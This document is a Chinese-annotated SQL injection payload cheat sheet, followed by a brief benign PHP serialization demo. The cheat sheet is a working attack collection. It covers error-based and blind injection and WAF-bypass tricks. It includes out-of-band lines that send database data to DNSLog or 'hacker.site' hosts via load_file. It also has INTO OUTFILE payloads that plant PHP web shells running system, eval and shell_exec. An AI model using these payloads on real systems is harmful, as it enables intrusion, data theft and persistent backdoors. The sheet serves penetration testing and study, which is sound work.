// 字符型
?id=1xxx # 源码为 id='1xxx'， 正常
?id=1' and '1'='1 # 源码为 id='1' and '1'='1'， 有回显
?id=1' and '1'='2 # 源码为 id='1' and '1'='2'， 无回显
// 数字型
?id=1xxx # 源码为 id=1xxx， 报错
?id=1 and 1=1 # 源码为 id=1 and 1=1， 有回显
?id=1 and 1=2 # 源码为 id=1 and 1=2， 无回显
// 列数
1' ORDER BY 3--+
1' GROUP BY 3--+
1' union select @,@,@--+
// 搜索框
1' and 1=1 and '%'='
%' and 1=1--'
%' and 1=1 and '%'='
// 报错，DML常用
' or updatexml(CHAR(126),(注入点),0x7e),null) or '
?id=1' and updatexml(null,concat(CHAR(126),(注入点),0x7e),null) --+
' or extractvalue(null,concat(CHAR(126),(注入点),0x7e)) or '
?id=1' and extractvalue(null,concat(CHAR(126),(注入点),0x7e)) --+
?id=1' union select 1, count(*), concat((注入点),0x7e,floor(rand(14)*2)) as x from 表名 group by x --+
// 布尔盲注
and (select count(*) from information_schma.tables where table_schema=database())>5 --+
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5 --+
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 --+
// 时间盲注
and if((select count(*) from information_schema.schemata)>5,1,sleep(5)) --+
and if((select length(schema_name) from information_schema.schemata limit 0,1)>5,1,sleep(5)) --+
and if((select ascii(substr(schema_name,1,1)) from information_schema.schemata limit 0,1)>97,1,sleep(5)) --+
// 二次注入
流程：注册用户名 admin' # => 登录 admin' # => 修改密码导致 admin 密码被改
// 二次编码
1%2527 and 0 --+
// 宽字节
%df%27 or 1=1 --+
// Out of band
select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt'
select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt'
// DNSLog
?id=1' and (select load_file(concat('\\\\',(注入点),'.xxxxx.dnslog.cn/abc'))) --+
?id=1' and (select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'))) --+
?id=1' and (select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))) --+
// 写shell
[...] union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "C:/Program Files/ToolBoxs/PhpStudy/PHPTutorial/WWW/shell.php"
[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';
?id=-1 UNiOn SelEcT 1,2,3;%00
/*!11111select version()*/
select * from users where id=8E0union select 1,2,3
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
Select substr(database() from 1 for 1)
Select mid(database() from 1 for 1)
select * from news limit 1 offset 0
select user() like 'r%'
or 'swords'='sw'+'ords';EXEC('IN'+'SERT INTO'+'')
select%0a*%0afrom%0ausers;
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
select strcmp(left(database(),1),0x32)
?id=?id=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 or 1 --+
?id=-1 union selselectect 1,2,3 --+
?id=1&id=-1'
?id=-1 union %2573%65%6c%65%63%74 1,2,database()
?id=1") union/*!88888xxxxx*/%23%0aselect 1,2,3 --+
?id=1") order/*!88888xxxxx*/by 3 --+
?id=") group by 3 --+
?id=--1' union select 1,2,group_concat(key.key) from /*sql-yunsuo*/.key --+
?id=/*-1' union select 1,2,3 --+
?id=/*' union select 1,2,(select/**/`key` from `key`)--+`
?id=1'/*xxxxxxxx*/order/*xxxxxxxx*/by 3 --+
?id=10000'/*xxxxxxxx*/%23%0aunion%23%0a/*xxxxxxxx*/select 1,database/*xxxxxxxx*/(),group_concat(/*xxxxxxxx*/user.key/*xxxxxxxx*/from database.user) --+
<?php
header("content-type:text/html;charset=utf-8;");
class People
{
public $name = "张三";
protected $age = 18;
private $money = 100.5;
public function __construct($name, $age, $money)
{
$this->name = $name;
$this->age = $age;
$this->money = $money;
}
public function hello()
{
echo "My name is $this->name ,my age is $this->age ! ";
echo "I have $this->money RMB!";
}
}
$obj = new People("李四", 20, 175.5);
echo serialize($obj);
// O:6:"People":3:{s:4:"name";s:6:"李四";s:6:"*age";i:20;s:13:"Peoplemoney";d:175.5;}
$str = 'O:6:"People":3:{s:4:"name";s:6:"王五";S:6:"\00*\00age";i:22;S:13:"\00People\00money";d:180.5;}';
$obj = unserialize($str);
$obj->hello();
// My name is 王五 ,my age is 22 !
// I have 180.5 RMB!
